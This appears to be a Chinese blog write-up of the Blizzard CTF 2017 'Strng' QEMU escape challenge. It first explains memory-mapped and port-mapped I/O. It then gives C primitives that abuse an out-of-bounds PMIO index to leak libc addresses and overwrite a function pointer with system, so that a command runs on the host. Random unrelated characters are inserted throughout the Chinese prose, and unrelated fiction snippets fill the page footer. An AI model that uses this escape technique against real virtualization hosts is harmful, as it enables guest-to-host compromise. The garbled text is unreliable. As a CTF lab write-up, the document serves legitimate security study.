Memory-mapped I/O (MMIO), 內(nèi)存映射IO商膊。 在MMIO中伏伐,內(nèi)存和I/O設(shè)備共享同一個地址空間。 MMIO是應(yīng)用得最為廣泛的一種IO方法翘狱,它使用相同的地址總線來處理內(nèi)存和I/O設(shè)備秘案,I/O設(shè)備的內(nèi)存和寄存器被映射到與之相關(guān)聯(lián)的地址。當(dāng)CPU訪問某個內(nèi)存地址時潦匈,它可能是物理內(nèi)存阱高,也可以是某個I/O設(shè)備的內(nèi)存。因此茬缩,用于訪問內(nèi)存的CPU指令也可來訪問I/O設(shè)備赤惊。每個I/O設(shè)備監(jiān)視CPU的地址總線,一旦CPU訪問分配給它的地址凰锡,它就做出響應(yīng)未舟,將數(shù)據(jù)總線連接到需要訪問的設(shè)備硬件寄存器。為了容納I/O設(shè)備掂为,CPU必須預(yù)留給I/O一個地址區(qū)域裕膀,該地址區(qū)域不能給物理內(nèi)存使用。

2. PMIO

Port-mapped I/O (PMIO)勇哗,端口映射IO昼扛,又叫做被隔離的I/O(isolated I/O)。
在PMIO中欲诺,內(nèi)存和I/O設(shè)備有各自的地址空間抄谐。 端口映射I/O通常使用一種特殊的CPU指令,專門執(zhí)行I/O操作扰法。在Intel的微處理器中蛹含,使用的指令是IN和OUT。這些指令可以讀/寫1,2,4個字節(jié)(例如:outb, outw, outl)從/到IO設(shè)備上塞颁。I/O設(shè)備有一個與內(nèi)存不同的地址空間浦箱,為了實現(xiàn)地址空間的隔離,要么在CPU物理接口上增加一個I/O引腳祠锣,要么增加一條專用的I/O總線酷窥。由于I/O地址空間與內(nèi)存地址空間是隔離的,所以有時將PMIO稱為被隔離的IO(Isolated I/O)锤岸。

3. MMIO v.s. PMIO

在MMIO中竖幔,IO設(shè)備和內(nèi)存共享同一個地址總線板乙,因此它們的地址空間是相同的; 而在PMIO中是偷,IO設(shè)備和內(nèi)存的地址空間是隔離的拳氢。
在MMIO中,無論是訪問內(nèi)存還是訪問IO設(shè)備蛋铆,都使用相同的指令馋评; 而在PMIO中,CPU使用特殊的指令訪問IO設(shè)備刺啦,在Intel微處理器中留特,使用的指令是IN和OUT。

4. 如何實現(xiàn)MMIO?

在Linux中玛瘸, 內(nèi)核使用ioremap()將IO設(shè)備的物理內(nèi)存地址映射到內(nèi)核空間的虛擬地址上蜕青; 用戶空間程序使用mmap(2)系統(tǒng)調(diào)用將IO設(shè)備的物理內(nèi)存地址映射到用戶空間的虛擬內(nèi)存地址上,一旦映射完成糊渊,用戶空間的一段內(nèi)存就與IO設(shè)備的內(nèi)存關(guān)聯(lián)起來右核,當(dāng)用戶訪問用戶空間的這段內(nèi)存地址范圍時,實際上會轉(zhuǎn)化為對IO設(shè)備的訪問乐设。

二奠宜、qemu pwn-Blizzard CTF 2017 Strng

這題的特色在于它的漏洞不是存在于MMIO中愚战,而是PMIO中。

描述

本題是qemu逃逸題躏鱼,flag文件在宿主機(jī)中的路徑為/root/flag。啟動的命令如下殷绍,可以把它保存到launsh.sh中染苛,用sudo ./launsh.sh啟動。

./qemu-system-x86_64 \
    -m 1G \
    -device strng \
    -hda my-disk.img \
    -hdb my-seed.img \
    -nographic \
    -L pc-bios/ \
    -enable-kvm \
    -device e1000,netdev=net0 \
    -netdev user,id=net0,hostfwd=tcp::5555-:22

該虛擬機(jī)是一個Ubuntu Server 14.04 LTS篡帕,用戶名是ubuntu殖侵,密碼是passw0rd。因為它把22端口重定向到了宿主機(jī)的5555端口镰烧,所以可以使用ssh ubuntu@127.0.0.1 -p 5555登進(jìn)去拢军。

分析

sudo ./launsh.sh啟動虛擬機(jī),使用用戶名是ubuntu怔鳖,密碼是passw0rd進(jìn)去虛擬機(jī)茉唉。

同時將qemu-system-x64_64拖到IDA里面,程序較大结执,IDA需要個小一會才會分析完成度陆。后續(xù)整個分析過程是通過IDA與源碼對比查看完成,需要指出的是分析過程將IDA中將變量設(shè)置成其對應(yīng)的結(jié)構(gòu)體會容易看很多献幔。

在IDA分析完成之前懂傀,首先看下虛擬機(jī)中的設(shè)備等信息。

00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)

通過啟動命令中的-device strng蜡感,我們在IDA中搜索strng相關(guān)函數(shù)蹬蚁,可以看到相應(yīng)的函數(shù)恃泪。


IDA中搜索strng相關(guān)函數(shù)

首先是設(shè)備的結(jié)構(gòu)體STRNGState的定義:

00000000 STRNGState      struc ; (sizeof=0xC10, align=0x10, mappedto_3815)
00000000 pdev            PCIDevice_0 ?
000008F0 mmio            MemoryRegion_0 ?
000009F0 pmio            MemoryRegion_0 ?
00000AF0 addr            dd ?
00000AF4 regs            dd 64 dup(?)
00000BF4                 db ? ; undefined
00000BF5                 db ? ; undefined
00000BF6                 db ? ; undefined
00000BF7                 db ? ; undefined
00000BF8 srand           dq ?                    ; offset
00000C00 rand            dq ?                    ; offset
00000C08 rand_r          dq ?                    ; offset
00000C10 STRNGState      ends

可以看到它里面存在一個regs數(shù)組,大小為256(64*4)犀斋,后面跟三個函數(shù)指針贝乎。

我們知道pci_strng_register_types會注冊由用戶提供的TypeInfo,查看該函數(shù)并找到了它的TypeInfo叽粹,跟進(jìn)去看到了strng_class_init以及strng_instance_init函數(shù)览效。

然后先看strng_class_init函數(shù),代碼如下(將變量k的類型設(shè)置為PCIDeviceClass*):

void __fastcall strng_class_init(ObjectClass *a1, void *data)
{
  PCIDeviceClass *k; // rax

  k = (PCIDeviceClass *)object_class_dynamic_cast_assert(
                          a1,
                          "pci-device",
                          "/home/rcvalle/qemu/hw/misc/strng.c",
                          154,
                          "strng_class_init");
  k->device_id = 0x11E9;
  k->revision = 0x10;
  k->realize = (void (*)(PCIDevice_0 *, Error_0 **))pci_strng_realize;
  k->class_id = 0xFF;
  k->vendor_id = 0x1234;
}

可以看到class_init中設(shè)置其device_id為0x11e9虫几,vendor_id為0x1234锤灿。對應(yīng)到上面lspci得到的信息,可以知道設(shè)備為00:03.0辆脸,查看其詳細(xì)信息:

ubuntu@ubuntu:~$ lspci -v -s 00:03.0
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
        Subsystem: Red Hat, Inc Device 1100
        Physical Slot: 3
        Flags: fast devsel
        Memory at febf1000 (32-bit, non-prefetchable) [size=256]
        I/O ports at c050 [size=8]

可以看到有MMIO地址為0xfebf1000衡招,大小為256;PMIO地址為0xc050每强,總共有8個端口始腾。

然后查看resource文件:

root@ubuntu:~# cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource
0x00000000febf1000 0x00000000febf10ff 0x0000000000040200
0x000000000000c050 0x000000000000c057 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000

resource0對應(yīng)的是MMIO,而resource1對應(yīng)的是PMIO空执。resource中數(shù)據(jù)格式是start-address end-address flags浪箭。

也可以查看/proc/ioports來查看各個設(shè)備對應(yīng)的I/O端口,/proc/iomem查看其對應(yīng)的I/O memory地址(需要用root帳號查看辨绊,否則看不到端口或地址):

ubuntu@ubuntu:~$ sudo cat /proc/iomem
...
  febf1000-febf10ff : 0000:00:03.0
...
ubuntu@ubuntu:~$ sudo cat /proc/ioports
...
  c050-c057 : 0000:00:03.0

/sys/devices其對應(yīng)的設(shè)備下也有相應(yīng)的信息奶栖,如deviceid和vendorid等:

ubuntu@ubuntu:~$ ls /sys/devices/pci0000\:00/0000\:00\:03.0
broken_parity_status      enable         power      subsystem_device
class                     firmware_node  remove     subsystem_vendor
config                    irq            rescan     uevent
consistent_dma_mask_bits  local_cpulist  resource   vendor
d3cold_allowed            local_cpus     resource0
device                    modalias       resource1
dma_mask_bits             msi_bus        subsystem
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/class
0x00ff00
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/vendor
0x1234
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/device
0x11e9

看完strng_class_init后,看strng_instance_init函數(shù)门坷,該函數(shù)則是為strng Object賦值了相應(yīng)的函數(shù)指針值srand宣鄙、rand以及rand_r。

然后去看pci_strng_realize默蚌,該函數(shù)注冊了MMIO和PMIO空間冻晤,包括mmio的操作結(jié)構(gòu)strng_mmio_ops及其大小256;pmio的操作結(jié)構(gòu)體strng_pmio_ops及其大小8绸吸。

void __fastcall pci_strng_realize(STRNGState *pdev, Error_0 **errp)
{
  unsigned __int64 v2; // ST08_8

  v2 = __readfsqword(0x28u);
  memory_region_init_io(&pdev->mmio, &pdev->pdev.qdev.parent_obj, &strng_mmio_ops, pdev, "strng-mmio", 0x100uLL);
  pci_register_bar(&pdev->pdev, 0, 0, &pdev->mmio);
  memory_region_init_io(&pdev->pmio, &pdev->pdev.qdev.parent_obj, &strng_pmio_ops, pdev, "strng-pmio", 8uLL);
  if ( __readfsqword(0x28u) == v2 )
    pci_register_bar(&pdev->pdev, 1, 1u, &pdev->pmio);
}

strng_mmio_ops中有訪問mmio對應(yīng)的strng_mmio_read以及strng_mmio_write鼻弧;strng_pmio_ops中有訪問pmio對應(yīng)的strng_pmio_read以及strng_pmio_write,下面將詳細(xì)分析這兩部分锦茁,一般來說攘轩,設(shè)備的問題也容易出現(xiàn)在這兩個部分。

MMIO

strng_mmio_read

uint64_t __fastcall strng_mmio_read(STRNGState *opaque, hwaddr addr, unsigned int size)
{
  uint64_t result; // rax

  result = -1LL;
  if ( size == 4 && !(addr & 3) )
    result = opaque->regs[addr >> 2];
  return result;
}

讀入addr將其右移兩位码俩,作為regs的索引返回該寄存器的值度帮。

strng_mmio_write

void __fastcall strng_mmio_write(STRNGState *opaque, hwaddr addr, uint32_t val, unsigned int size)
{
  hwaddr i; // rsi
  uint32_t v5; // ST08_4
  uint32_t v6; // eax
  unsigned __int64 v7; // [rsp+18h] [rbp-20h]

  v7 = __readfsqword(0x28u);
  if ( size == 4 && !(addr & 3) )
  {
    i = addr >> 2;
    if ( (_DWORD)i == 1 )
    {
      opaque->regs[1] = opaque->rand(opaque, i, val);
    }
    else if ( (unsigned int)i < 1 )
    {
      if ( __readfsqword(0x28u) == v7 )
        opaque->srand(val);
    }
    else
    {
      if ( (_DWORD)i == 3 )
      {
        v5 = val;
        v6 = ((__int64 (__fastcall *)(uint32_t *))opaque->rand_r)(&opaque->regs[2]);
        val = v5;
        opaque->regs[3] = v6;
      }
      opaque->regs[(unsigned int)i] = val;
    }
  }
}

當(dāng)size等于4時,將addr右移兩位得到寄存器的索引i稿存,并提供4個功能:

  • 當(dāng)i為0時笨篷,調(diào)用srand函數(shù)但并不給賦值給內(nèi)存甫菠。
  • 當(dāng)i為1時,調(diào)用rand得到隨機(jī)數(shù)并賦值給regs[1]冕屯。
  • 當(dāng)i為3時,調(diào)用rand_r函數(shù)拂苹,并使用regs[2]的地址作為參數(shù)安聘,并最后將返回值賦值給regs[3],但后續(xù)仍然會將val值覆蓋到regs[3]中瓢棒。
  • 其余則直接將傳入的val值賦值給regs[i]浴韭。

看起來似乎是addr可以由我們控制,可以使用addr來越界讀寫regs數(shù)組脯宿。即如果傳入的addr大于regs的邊界念颈,那么我們就可以讀寫到后面的函數(shù)指針了。但是事實上是不可以的连霉,前面已經(jīng)知道了mmio空間大小為256榴芳,我們傳入的addr是不能大于mmio的大小跺撼;因為pci設(shè)備內(nèi)部會進(jìn)行檢查窟感,而剛好regs的大小為256,所以我們無法通過mmio進(jìn)行越界讀寫歉井。

編程訪問MMIO

實現(xiàn)對MMIO空間的訪問柿祈,比較便捷的方式就是使用mmap函數(shù)將設(shè)備的resource0文件映射到內(nèi)存中,再進(jìn)行相應(yīng)的讀寫即可實現(xiàn)MMIO的讀寫哩至,典型代碼如下:

unsigned char* mmio_mem;

void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
    return *((uint32_t*)(mmio_mem + addr));
}

int main(int argc, char *argv[])
{

    // Open and map I/O memory for the strng device
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");

    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");
}

PMIO

通過前面的分析我們知道strng有八個端口躏嚎,端口起始地址為0xc050,相應(yīng)的通過strng_pmio_read和strng_pmio_write去讀寫菩貌。

strng_pmio_read

uint64_t __fastcall strng_pmio_read(STRNGState *opaque, hwaddr addr, unsigned int size)
{
  uint64_t result; // rax
  uint32_t reg_addr; // edx

  result = -1LL;
  if ( size == 4 )
  {
    if ( addr )
    {
      if ( addr == 4 )
      {
        reg_addr = opaque->addr;
        if ( !(reg_addr & 3) )
          result = opaque->regs[reg_addr >> 2];
      }
    }
    else
    {
      result = opaque->addr;
    }
  }
  return result;
}

當(dāng)端口地址為0時直接返回opaque->addr卢佣,否則將opaque->addr右移兩位作為索引i,返回regs[i]的值箭阶,比較關(guān)注的是這個opaque->addr在哪里賦值珠漂,它在下面的strng_pmio_write中被賦值。

strng_pmio_write

void __fastcall strng_pmio_write(STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  uint32_t reg_addr; // eax
  __int64 idx; // rax
  unsigned __int64 v6; // [rsp+8h] [rbp-10h]

  v6 = __readfsqword(0x28u);
  if ( size == 4 )
  {
    if ( addr )
    {
      if ( addr == 4 )
      {
        reg_addr = opaque->addr;
        if ( !(reg_addr & 3) )
        {
          idx = reg_addr >> 2;
          if ( (_DWORD)idx == 1 )
          {
            opaque->regs[1] = opaque->rand(opaque, 4LL, val);
          }
          else if ( (unsigned int)idx < 1 )
          {
            if ( __readfsqword(0x28u) == v6 )
              opaque->srand((unsigned int)val);
          }
          else if ( (_DWORD)idx == 3 )
          {
            opaque->regs[3] = opaque->rand_r(&opaque->regs[2], 4LL, val);
          }
          else
          {
            opaque->regs[idx] = val;
          }
        }
      }
    }
    else
    {
      opaque->addr = val;
    }
  }
}
  • 當(dāng)size等于4時尾膊,以傳入的端口地址為判斷提供4個功能:

  • 當(dāng)端口地址為0時媳危,直接將傳入的val賦值給opaque->addr。

  • 當(dāng)端口地址不為0時冈敛,將opaque->addr右移兩位得到索引i待笑,分為三個功能:

    • i為0時,執(zhí)行srand抓谴,返回值不存儲暮蹂。

    • i為1時寞缝,執(zhí)行rand并將返回結(jié)果存儲到regs[1]中。

    • i為3時仰泻,調(diào)用rand_r并將regs[2]作為第一個參數(shù)荆陆,返回值存儲到regs[3]中。

    • 否則直接將val存儲到regs[idx]中集侯。
      可以看到PMIO與MMIO的區(qū)別在于索引regs數(shù)組時被啼,PMIO并不是由直接傳入的端口地址addr去索引的;而是由opaque->addr去索引棠枉,而opaque->addr的賦值是我們可控的(端口地址為0時浓体,直接將傳入的val賦值給opaque->addr)。因此regs數(shù)組的索引可以為任意值辈讶,即可以越界讀寫命浴。

越界讀則是首先通過strng_pmio_write去設(shè)置opaque->addr,然后再調(diào)用pmio_read去越界讀贱除。

越界寫則是首先通過strng_pmio_write去設(shè)置opaque->addr生闲,然后仍然通過pmio_write去越界寫。

編程訪問PMIO

UAFIO描述說有三種方式訪問PMIO月幌,這里仍給出一個比較便捷的方法去訪問跪腹,即通過IN以及 OUT指令去訪問》勺恚可以使用IN和OUT去讀寫相應(yīng)字節(jié)的1冲茸、2、4字節(jié)數(shù)據(jù)(outb/inb, outw/inw, outl/inl)缅帘,函數(shù)的頭文件為<sys/io.h>轴术,函數(shù)的具體用法可以使用man手冊查看。

還需要注意的是要訪問相應(yīng)的端口需要一定的權(quán)限钦无,程序應(yīng)使用root權(quán)限運行逗栽。對于0x000-0x3ff之間的端口,使用ioperm(from, num, turn_on)即可失暂;對于0x3ff以上的端口彼宠,則該調(diào)用執(zhí)行iopl(3)函數(shù)去允許訪問所有的端口(可使用man ioperm 和man iopl去查看函數(shù))。

典型代碼如下:

uint32_t pmio_base=0xc050;

uint32_t pmio_write(uint32_t addr, uint32_t value)
{
    outl(value,addr);
}

uint32_t pmio_read(uint32_t addr)
{
    return (uint32_t)inl(addr);
}

int main(int argc, char *argv[])
{

    // Open and map I/O memory for the strng device
    if (iopl(3) !=0 )
        die("I/O permission is not enough");
        pmio_write(pmio_base+0,0);
    pmio_write(pmio_base+4,1);

}

利用

首先是利用pmio來進(jìn)行任意讀寫弟塞。

  • 越界讀:首先使用strng_pmio_write設(shè)置opaque->addr凭峡,即當(dāng)addr為0時,傳入的val會直接賦值給opaque->addr决记;然后再調(diào)用strng_pmio_read摧冀,就會去讀regs[val>>2]的值,實現(xiàn)越界讀,代碼如下:
uint32_t pmio_arbread(uint32_t offset)
{
    pmio_write(pmio_base+0,offset);
    return pmio_read(pmio_base+4);
}
  • 越界寫:仍然是首先使用strng_pmio_write設(shè)置opaque->addr索昂,即當(dāng)addr為0時建车,傳入的val會直接賦值給opaque->addr;然后調(diào)用strng_pmio_write椒惨,并設(shè)置addr為4缤至,即會去將此次傳入的val寫入到regs[val>>2]中,實現(xiàn)越界寫康谆,代碼如下:
void pmio_abwrite(uint32_t offset, uint32_t value)
{
    pmio_write(pmio_base+0,offset);
    pmio_write(pmio_base+4,value);
}

完整的利用過程為:

  1. 使用strng_mmio_write將cat /root/flag寫入到regs[2]開始的內(nèi)存處领斥,用于后續(xù)作為參數(shù)。
  2. 使用越界讀漏洞秉宿,讀取regs數(shù)組后面的srand地址,根據(jù)偏移計算出system地址屯碴。
  3. 使用越界寫漏洞描睦,覆蓋regs數(shù)組后面的rand_r地址,將其覆蓋為system地址导而。
  4. 最后使用strng_mmio_write觸發(fā)執(zhí)行opaque->rand_r(&opaque->regs[2])函數(shù)忱叭,從而實現(xiàn)system("cat /root/flag")的調(diào)用,拿到flag今艺。

調(diào)試

將完整流程描述了一遍以后韵丑,再說下怎么調(diào)試。

sudo ./launsh.sh將虛擬機(jī)跑起來以后虚缎,在本地將exp用命令make編譯通過撵彻,makefile內(nèi)容比較簡單:

ALL:
        cc -m32 -O0 -static -o exp exp.c

然后使用命令scp -P5555 exp ubuntu@127.0.0.1:/home/ubuntu將exp拷貝到虛擬機(jī)中。

若要調(diào)試qemu以查看相應(yīng)的流程实牡,可以使用ps -ax|grep qemu找到相應(yīng)的進(jìn)程陌僵;再sudo gdb -attach [pid]上去,然后在里面下斷點查看想觀察的數(shù)據(jù)创坞,示例如下:

b *strng_pmio_write
b *strng_pmio_read
b *strng_mmio_write
b *strng_pmio_read

然后再sudo ./exp執(zhí)行exp碗短,就可以愉快的調(diào)試了。

一個小trick题涨,可以使用print加上結(jié)構(gòu)體可以很方便的查看數(shù)據(jù)(如果有符號的話):

pwndbg> print *(STRNGState*)$rdi
$1 = {
  pdev = {
    qdev = {
      parent_obj = {
        class = 0x55de43a3f2e0,
        free = 0x7fc137fedba0 <g_free>,
        properties = 0x55de45283c00,
        ref = 0x13,
...
pwndbg> print ((STRNGState*)$rdi).regs
$3 = {0x0, 0x0, 0x1e28b6de, 0x6f6f722f, 0x6c662f74, 0x6761, 0x0 <repeats 58 times>}

最后可以看到成功的拿到了宿主機(jī)下面的flag:

leaking srandom addr: 0x7fc137211bb0
libc base: 0x7fc1371ce000
system addr: 0x7fc13721d440
leaking heap addr: 0x55de43b35ef0
parameter addr: 0x55de43b6fb6c
flag{welcome_to_the_qeme_world}
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
禁止轉(zhuǎn)載偎谁,如需轉(zhuǎn)載請通過簡信或評論聯(lián)系作者。
  • 序言:七十年代末纲堵,一起剝皮案震驚了整個濱河市巡雨,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌席函,老刑警劉巖鸯隅,帶你破解...
    沈念sama閱讀 221,273評論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異,居然都是意外死亡蝌以,警方通過查閱死者的電腦和手機(jī)炕舵,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,349評論 3 398
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來跟畅,“玉大人咽筋,你說我怎么就攤上這事』布” “怎么了奸攻?”我有些...
    開封第一講書人閱讀 167,709評論 0 360
  • 文/不壞的土叔 我叫張陵,是天一觀的道長虱痕。 經(jīng)常有香客問我睹耐,道長,這世上最難降的妖魔是什么部翘? 我笑而不...
    開封第一講書人閱讀 59,520評論 1 296
  • 正文 為了忘掉前任硝训,我火速辦了婚禮,結(jié)果婚禮上新思,老公的妹妹穿的比我還像新娘窖梁。我一直安慰自己,他們只是感情好夹囚,可當(dāng)我...
    茶點故事閱讀 68,515評論 6 397
  • 文/花漫 我一把揭開白布纵刘。 她就那樣靜靜地躺著,像睡著了一般荸哟。 火紅的嫁衣襯著肌膚如雪假哎。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,158評論 1 308
  • 那天鞍历,我揣著相機(jī)與錄音位谋,去河邊找鬼。 笑死堰燎,一個胖子當(dāng)著我的面吹牛掏父,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播秆剪,決...
    沈念sama閱讀 40,755評論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼赊淑,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了仅讽?” 一聲冷哼從身側(cè)響起陶缺,我...
    開封第一講書人閱讀 39,660評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎洁灵,沒想到半個月后饱岸,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體掺出,經(jīng)...
    沈念sama閱讀 46,203評論 1 319
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,287評論 3 340
  • 正文 我和宋清朗相戀三年苫费,在試婚紗的時候發(fā)現(xiàn)自己被綠了汤锨。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 40,427評論 1 352
  • 序言:一個原本活蹦亂跳的男人離奇死亡百框,死狀恐怖闲礼,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情铐维,我是刑警寧澤柬泽,帶...
    沈念sama閱讀 36,122評論 5 349
  • 正文 年R本政府宣布,位于F島的核電站嫁蛇,受9級特大地震影響锨并,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜睬棚,卻給世界環(huán)境...
    茶點故事閱讀 41,801評論 3 333
  • 文/蒙蒙 一第煮、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧闸拿,春花似錦空盼、人聲如沸书幕。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,272評論 0 23
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽台汇。三九已至苛骨,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間苟呐,已是汗流浹背痒芝。 一陣腳步聲響...
    開封第一講書人閱讀 33,393評論 1 272
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留牵素,地道東北人严衬。 一個月前我還...
    沈念sama閱讀 48,808評論 3 376
  • 正文 我出身青樓,卻偏偏與公主長得像笆呆,于是被迫代替她去往敵國和親请琳。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,440評論 2 359